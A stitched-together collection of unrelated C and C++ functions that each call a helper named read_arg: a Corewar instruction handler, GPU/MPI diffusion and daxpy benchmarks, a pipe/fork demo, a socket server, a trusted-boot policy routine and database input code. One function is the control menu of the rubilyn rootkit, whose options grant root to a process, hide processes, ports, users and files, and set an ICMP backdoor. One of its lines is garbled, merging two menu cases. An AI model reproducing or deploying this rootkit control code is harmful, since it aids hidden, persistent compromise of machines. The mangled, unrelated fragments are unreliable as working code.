void st_inst(t_core *core, t_proc *proc, int inst) { unsigned char arg; unsigned char codage; unsigned int adr; unsigned int reg_nb; if (!(add_cd_check_valid(core, proc, inst))) return ; codage = core->map[(proc->pc + 1) % MEM_SIZE]; reg_nb = fit_reg(read_arg(core->map, proc->pc, inst, 1)); arg = what_arg(codage, 2); if (arg == C_IND) { adr = pc_pos(proc->pc + read_arg(core->map, proc->pc, inst, 2)); write_to_map(core->map, proc->reg[reg_nb], adr); core->vis_flag == 1 ? replace_field(adr, proc->colour_nbr, core) : 0; } else if (arg == C_REG) write_to_reg(proc->reg[reg_nb], read_arg(core->map, proc->pc, inst, 2), proc); proc->prev_pc = proc->pc; proc->pc = pc_pos(proc->pc + inst_size(inst, codage)); proc->cd = -1; }
int triple (int arg) { int read_arg (void) { return arg; } int parent (int nested_arg) { int child1 (void) { return parent (zero (5)); } int child2 (void) { return nested_arg + read_arg (); } return (nested_arg == 0 ? 0 : child1 ()) + child2 (); }
int main (int argc, char *argv[]) { int pfd[2]; int nwrite; pid_t cPid, pPid; char psCmnd[40] = "ps -FC pipe"; char lsofCmndP[40] = "lsof -p"; char lsofCmndC[40] = "lsof -p"; /* read arguments for # of messages to process */ nwrite = read_arg(argc, argv); pPid = getpid(); printf("Parent\'s PID = %d\n", pPid); sprintf(lsofCmndP, "%s %d %s", lsofCmndP, pPid, "| grep FIFO"); /* create pipe */ if ( pipe(pfd) < 0 ) { fatal("pipe call"); exit(1); } printf("\n-----------------------------------------------------------------------------\n"); printf("Parent's pipe after pipe() (\"%s\")\n", lsofCmndP); system(lsofCmndP); printf("-------------------------------------------------------------------------------\n\n"); printf("\n-----------------------------------------------------------------------------\n"); printf("Processes before fork() (\"%s\")\n", psCmnd); system(psCmnd); printf("-------------------------------------------------------------------------------\n\n"); /* create a child */ switch( fork() ) { case -1: /* error */ fatal("fork call"); case 0: /* fork() returns 0 to child */ cPid = getpid(); printf("Child\'s PID = %d\n", cPid); sprintf(lsofCmndC, "%s %d %s", lsofCmndC, cPid, "| grep FIFO"); printf("\n-----------------------------------------------------------------------------\n"); printf("Child's pipe after fork() (\"%s\")\n", lsofCmndC); system(lsofCmndC); printf("-------------------------------------------------------------------------------\n\n"); do_read(pfd, lsofCmndC); break; default: /* fork() returns child's pid to parent */ sleep(1); printf("\n-----------------------------------------------------------------------------\n"); printf("Processes after fork() (\"%s\")\n", psCmnd); system(psCmnd); printf("-------------------------------------------------------------------------------\n\n"); do_write(pfd, nwrite, lsofCmndP); } }
// main function int main(int argc, char *argv[]) { if (read_arg(argc, argv) == false) { return 1; } signal(SIGINT, handle_sigint); if (is_print_bodies) print_bodies("[INPUT]"); step(); free_bodies(); return 0; }
int main(int argc, char** argv) { size_t pow = read_arg(argc, argv, 1, 16); size_t n = 1 << pow; std::cout << "memcopy and daxpy test of size " << n << "\n"; double* x = malloc_host<double>(n, 1.5); double* y = malloc_host<double>(n, 3.0); // use dummy fields to avoid cache effects, which make results harder to // interpret use 1<<24 to ensure that cache is completely purged for all n double* x_ = malloc_host<double>(n, 1.5); double* y_ = malloc_host<double>(n, 3.0); // openmp version: auto start = get_time(); axpy(n, 2.0, x_, y_); auto time_axpy_omp = get_time() - start; // openacc version: start = get_time(); axpy_gpu(n, 2.0, x, y); auto time_axpy_gpu = get_time() - start; std::cout << "-------\ntimings\n-------\n"; std::cout << "axpy (openmp): " << time_axpy_omp << " s\n"; std::cout << "axpy (openacc): " << time_axpy_gpu << " s\n"; // check for errors auto errors = 0; #pragma omp parallel for reduction(+:errors) for (auto i = 0; i < n; ++i) { if (std::fabs(6.-y[i]) > 1e-15) { ++errors; } } if (errors > 0) { std::cout << "\n============ FAILED with " << errors << " errors\n"; } else { std::cout << "\n============ PASSED\n"; } free(x); free(y); return 0; }
void run_app(t_app *app) { t_p_arg *tmp; t_p_arg *tmp2; read_arg(app); check_invalide(app); print_file(app); tmp = (app->reverse_sort) ? app->last_p_arg : app->first_p_arg; while (tmp) { tmp2 = (app->reverse_sort) ? tmp->previous : tmp->next; push_path(app, tmp->path); parcour(app); pop_path(app); free(tmp); tmp = tmp2; } }
int main(int argc, char** argv) { size_t pow = read_arg(argc, argv, 1, 16); size_t n = 1 << pow; size_t size_in_bytes = n * sizeof(double); std::cout << "memcopy and daxpy test of size " << n << std::endl; double* x = malloc_host<double>(n, 1.5); double* y = malloc_host<double>(n, 3.0); #ifdef FLUSH_CACHE // use dummy fields to avoid cache effects, which make results harder to interpret // use 1<<24 to ensure that cache is completely purged for all n double* x_ = malloc_host<double>(1<<24, 1.5); double* y_ = malloc_host<double>(1<<24, 3.0); axpy(1<<24, 2.0, x_, y_); #endif double start = get_time(); axpy(n, 2.0, x, y); double time_axpy = get_time() - start; std::cout << "-------\ntimings\n-------" << std::endl; std::cout << "axpy : " << time_axpy << " s" << std::endl; std::cout << std::endl; // check for errors int errors = 0; for(int i=0; i<n; ++i) { if(std::fabs(6.-y[i])>1e-15) { errors++; } } if(errors>0) std::cout << "\n============ FAILED with " << errors << " errors" << std::endl; else std::cout << "\n============ PASSED" << std::endl; free(x); free(y); return 0; }
int main(int argc, char** argv) { // set up parameters // first argument is the y dimension = 2^arg size_t pow = read_arg(argc, argv, 1, 8); // second argument is the number of time steps size_t nsteps = read_arg(argc, argv, 2, 100); // third argument is nonzero if shared memory version is to be used bool use_shared = read_arg(argc, argv, 3, 0); // set domain size size_t nx = 128+2; size_t ny = (1 << pow)+2; double dt = 0.1; std::cout << "\n## " << nx << "x" << ny << " for " << nsteps << " time steps" << " (" << nx*ny << " grid points)\n"; // allocate memory on device and host // note : allocate enough memory for the halo around the boundary auto buffer_size = nx*ny; #ifdef OPENACC_DATA double *x0 = malloc_host_pinned<double>(buffer_size); double *x1 = malloc_host_pinned<double>(buffer_size); #else double *x_host = malloc_host_pinned<double>(buffer_size); double *x0 = malloc_device<double>(buffer_size); double *x1 = malloc_device<double>(buffer_size); #endif double start_diffusion, time_diffusion; #ifdef OPENACC_DATA #pragma acc data create(x0[0:buffer_size]) copyout(x1[0:buffer_size]) #endif { // set initial conditions of 0 everywhere fill_gpu(x0, 0., buffer_size); fill_gpu(x1, 0., buffer_size); // set boundary conditions of 1 on south border fill_gpu(x0, 1., nx); fill_gpu(x1, 1., nx); fill_gpu(x0+nx*(ny-1), 1., nx); fill_gpu(x1+nx*(ny-1), 1., nx); // time stepping loop #pragma acc wait start_diffusion = get_time(); for(auto step=0; step<nsteps; ++step) { diffusion_gpu(x0, x1, nx-2, ny-2, dt); #ifdef OPENACC_DATA copy_gpu(x0, x1, buffer_size); #else std::swap(x0, x1); #endif } #pragma acc wait time_diffusion = get_time() - start_diffusion; } // end of acc data #ifdef OPENACC_DATA auto x_res = x1; #else copy_to_host<double>(x0, x_host, buffer_size); auto x_res = x_host; #endif std::cout << "## " << time_diffusion << "s, " << nsteps*(nx-2)*(ny-2) / time_diffusion << " points/second\n\n"; std::cout << "writing to output.bin/bov\n"; write_to_file(nx, ny, x_res); return 0; }
int main(int argc, char **argv) { // Validacion y lectura de argumentos if(argc != 13){ print_use(); exit(EXIT_FAILURE); } char * nombre_centro; int suministro, puerto; read_arg(argv,argc,&nombre_centro,&capacidad,&inventario,&suministro,&puerto,&tiempo); if (!valid_arg(nombre_centro,capacidad,inventario,suministro,tiempo)) exit(EXIT_FAILURE); log_file_name = (char *) malloc(strlen(nombre_centro)+8); sprintf(log_file_name,"log_%s.txt",nombre_centro); log_file = fopen(log_file_name,"w"); if(!log_file) { printf("Error: no se pudo crear el archivo log el archivo\n."); exit(EXIT_FAILURE); } fprintf(log_file,"Inventario inicial: %d litros.\n",inventario); pthread_attr_init(&attr1); pthread_attr_setdetachstate(&attr1,PTHREAD_CREATE_JOINABLE); if (pthread_create(&thread_inv, &attr1, inventario_suministro, (void *) suministro)) { printf("Error: no se pudo crear el hilo para controlar el inventario."); exit(EXIT_FAILURE); } pthread_attr_init(&attr2); pthread_attr_setdetachstate(&attr2,PTHREAD_CREATE_JOINABLE); if (pthread_create(&thread_func, &attr2, tiempo_funcionamiento,NULL)) { printf("Error: no se pudo crear el hilo para controlar el funcionamiento."); exit(EXIT_FAILURE); } signal(SIGUSR1,finish); pthread_attr_init(&attr3); pthread_attr_setdetachstate(&attr3,PTHREAD_CREATE_JOINABLE); if (pthread_create(&thread_exit, &attr3, tiempo_exit,NULL)) { printf("Error: no se pudo crear el hilo para salida."); exit(EXIT_FAILURE); } int newSocketID; socklen_t addrlen; struct sockaddr_in dirServ, dirCli; char buffer[256]; pthread_t h; if (pthread_mutex_init(&mtx, NULL) !=0) { error("Error mutex"); } socketID = socket(AF_INET,SOCK_STREAM,0); if (socketID == 0) { error("Error abriendo el socket"); } bzero((char*)&dirServ,sizeof(dirServ)); dirServ.sin_family = AF_INET; dirServ.sin_port = htons(puerto); dirServ.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(socketID,(struct sockaddr *)&dirServ,sizeof(dirServ)) < 0 ) { error("Error en la conexion"); } listen(socketID,5); addrlen = sizeof(dirCli); while (TRUE) { newSocketID = accept(socketID,(struct sockaddr *)&dirCli,&addrlen); if (newSocketID < 0) { error("Error aceptando la conexion"); } pthread_create(&h,NULL,procesarPeticion, (void *)newSocketID); } }
int add_image_kernelpolicy(void * p_pcrs, char * mountpoint,char * image_desc) { char *boot_file_list[]={ "/boot/grub/grub.conf", "/boot/grub/menu.lst", NULL }; struct tcm_pcr_set * pcrs=p_pcrs; FILE * fp; char *file_arg[MAX_ARG_NUM]; char filename[512]; char kernelname[256]; char initrdname[256]; int retval; int i; char digest[DIGEST_SIZE]; char desc[512]; for(i=0;boot_file_list[i]!=NULL;i++) { sprintf(filename,"%s/%s",mountpoint,boot_file_list[i]); fp=fopen(filename,"r"); if(fp!=NULL) break; } if(boot_file_list[i]==NULL) { printf("can't find image %s's boot file\n ",image_desc); return -EINVAL; } file_arg[0]=malloc(MAX_LINE_LEN); if(file_arg[0]==NULL) return -ENOMEM; do { retval=read_arg(fp,file_arg); if(retval<0) break; if(retval==0) continue; if(strcmp(file_arg[0],"kernel")!=0) continue; strncpy(kernelname,file_arg[1],256); retval=read_arg(fp,file_arg); if(retval<0) break; if(retval==0) continue; if(strcmp(file_arg[0],"initrd")!=0) continue; strncpy(initrdname,file_arg[1],256); sprintf(desc,"image %s 's kernel digest",image_desc); pcrs->policy_describe=dup_str(desc,0); sprintf(filename,"%s/%s",mountpoint,kernelname); calculate_sm3(filename,digest); add_pcr_to_set(pcrs,KERNEL_PCR_INDEX,digest); sprintf(filename,"%s/%s",mountpoint,initrdname); calculate_sm3(filename,digest); add_pcr_to_set(pcrs,KERNEL_PCR_INDEX,digest); break; }while(1); return 0; }
void readinput(register pb_t *ppb) { register int i; resp_t *rp; /* ** Top Loop. ** Executed once for each complete block read. Normally ** only executed once, but can be more if an error ** block is read. ** ** We mark Qbuf first, so we can free any parameters ** when they are no longer needed (such as when they ** are passed to another process). */ Ctx.ctx_pmark = markbuf(Qbuf); #ifdef xCTR1 if (tTf(10, 0)) lprintf("readinput: mark %d, errfn %x, ppb %x\n", Ctx.ctx_pmark, Ctx.ctx_errfn, ppb); #endif rp = getresp(); for (;;) { /* prime the input (reads first block) */ pb_prime(ppb, PB_NOTYPE); #ifdef xCTR2 if (tTf(10, 1)) lprintf("readinput: type %d\n", ppb->pb_type); #endif /* if this is a response block, return immediately */ if (ppb->pb_type == PB_RESP) { i = pb_get(ppb, (char *) rp, sizeof(resp_t)); if (i != sizeof(resp_t)) syserr("readinput: resp_t sz %d", i); /* read_arg(ppb, &rp->resp_rval); */ break; } /* ** Parameter Loop. ** Wander through and start reading parameters. */ for (Ctx.ctx_pc = 0; Ctx.ctx_pc < PV_MAXPC; Ctx.ctx_pc++) { if (read_arg(ppb, &Ctx.ctx_pv[Ctx.ctx_pc]) == PV_EOF) break; } /* out of loop, check for vector overflow */ if (Ctx.ctx_pc >= PV_MAXPC) syserr("readinput: overflow"); /* check for error blocks */ if (ppb->pb_type == PB_ERR) { proc_err(ppb, Ctx.ctx_pc, Ctx.ctx_pv); syserr("readinput: proc_err"); } /* non-error block */ #ifdef xCM_DEBUG if (ppb->pb_type != PB_REG) syserr("readinput: pb_type %d", ppb->pb_type); #endif Ctx.ctx_resp = ppb->pb_resp; break; } #ifdef xCTR1 if (tTf(10, 4)) { lprintf("readinput: "); pb_dump(ppb, FALSE); } #endif }
void main_menu(){ char str; char arg[MAXLEN]; do{ memset(arg,0,MAXLEN); memcpy(arg,"debug.rubilyn.",strlen("debug.rubilyn.")); printf("--> "); str = getchar(); switch(str){ case '1': printf("enter process id to give root: "); strcat(arg,"pid="); strcat(arg,read_arg()); execute(arg); break; case '2': printf("enter process id to hide: "); strcat(arg,"pid2="); strcat(arg,read_arg()); execute(arg); printf("warning!! do not kill a hidden process or face the wrath of mach_task!\n"); break; case '3': printf("enter process id to unhide: "); strcat(arg,"pid3="); strcat(arg,read_arg()); execute(arg); break; case '4': printf("enter network port to hide: "); strcat(arg,"port="); strcat(arg,read_arg()); execute(arg); break; case '5': printf("enter username to hide: "); strcat(arg,"user="******"enter string to hide on file system: "); strcat(arg,"dir="); strcat(arg,read_arg()); execute(arg); break; case '7': printf("enter icmp path for backdoor: "); strcat(arg,"cmd="); strcat(arg,read_arg()); execute(arg); break; case '8': printf("not ready yet\n"); break; case '9': printf("not ready yet"); break; case 'h': print_menu(); break; case '?': print_menu(); break; case 'q': exit(0); break; case 'x': exit(0); break; default: printf("Invalid selection\n"); break; } } while(getchar() != '\n'); }
int main(int argc, char** argv) { // set up parameters // first argument is the y dimension = 2^arg size_t pow = read_arg(argc, argv, 1, 8); // second argument is the number of time steps size_t nsteps = read_arg(argc, argv, 2, 100); // third argument is nonzero if shared memory version is to be used bool use_shared = read_arg(argc, argv, 3, 0); // set domain size size_t nx = 128; size_t ny = 1 << pow; double dt = 0.1; // initialize MPI int mpi_rank, mpi_size; MPI_Init(&argc, &argv); MPI_Comm_rank(MPI_COMM_WORLD, &mpi_rank); MPI_Comm_size(MPI_COMM_WORLD, &mpi_size); if (ny % mpi_size) { std::cout << "error : global domain dimension " << ny << "must be divisible by number of MPI ranks " << mpi_size << "\n"; exit(1); } else if (mpi_rank == 0) { std::cout << "\n## " << mpi_size << " MPI ranks" << std::endl; std::cout << "## " << nx << "x" << ny << " : " << nx << "x" << ny/mpi_size << " per rank" << " for " << nsteps << " time steps" << " (" << nx*ny << " grid points)\n"; } ny /= mpi_size; // adjust dimensions for halo nx += 2; ny += 2; // allocate memory on device and host // note : allocate enough memory for the halo around the boundary auto buffer_size = nx*ny; #ifdef OPENACC_DATA double *x0 = malloc_host_pinned<double>(buffer_size); double *x1 = malloc_host_pinned<double>(buffer_size); #else double *x_host = (double *) malloc(buffer_size*sizeof(double)); // double *x_host = malloc_host_pinned<double>(buffer_size); double *x0 = malloc_device<double>(buffer_size); double *x1 = malloc_device<double>(buffer_size); #endif double start_diffusion, time_diffusion; #ifdef OPENACC_DATA // TODO: move data to the GPU #endif { // set initial conditions of 0 everywhere fill_gpu(x0, 0., buffer_size); fill_gpu(x1, 0., buffer_size); // set boundary conditions of 1 on south border if (mpi_rank == 0) { fill_gpu(x0, 1., nx); fill_gpu(x1, 1., nx); } if (mpi_rank == mpi_size-1) { fill_gpu(x0+nx*(ny-1), 1., nx); fill_gpu(x1+nx*(ny-1), 1., nx); } auto south = mpi_rank - 1; auto north = mpi_rank + 1; // time stepping loop #pragma acc wait start_diffusion = get_time(); for(auto step=0; step<nsteps; ++step) { MPI_Request requests[4]; MPI_Status statuses[4]; auto num_requests = 0; #ifdef OPENACC_DATA // TODO: There are two ways to communicate: // 1. Update the host copy first and then communicate // 2. Use the optimised RDMA data path #endif { if (south >= 0) { // x0(:, 0) <- south MPI_Irecv(x0, nx, MPI_DOUBLE, south, 0, MPI_COMM_WORLD, &requests[0]); // x0(:, 1) -> south MPI_Isend(x0+nx, nx, MPI_DOUBLE, south, 0, MPI_COMM_WORLD, &requests[1]); num_requests += 2; } // exchange with north if(north < mpi_size) { // x0(:, ny-1) <- north MPI_Irecv(x0+(ny-1)*nx, nx, MPI_DOUBLE, north, 0, MPI_COMM_WORLD, &requests[num_requests]); // x0(:, ny-2) -> north MPI_Isend(x0+(ny-2)*nx, nx, MPI_DOUBLE, north, 0, MPI_COMM_WORLD, &requests[num_requests+1]); num_requests += 2; } } MPI_Waitall(num_requests, requests, statuses); diffusion_gpu(x0, x1, nx-2, ny-2, dt); #ifdef OPENACC_DATA copy_gpu(x0, x1, buffer_size); #else std::swap(x0, x1); #endif } #pragma acc wait time_diffusion = get_time() - start_diffusion; } // end of acc data #ifdef OPENACC_DATA auto x_res = x1; #else copy_to_host<double>(x0, x_host, buffer_size); auto x_res = x_host; #endif if (mpi_rank == 0) { std::cout << "## " << time_diffusion << "s, " << nsteps*(nx-2)*(ny-2)*mpi_size / time_diffusion << " points/second\n\n"; std::cout << "writing to output.bin/bov\n"; write_to_file(nx, ny, x_res); } MPI_Finalize(); return 0; }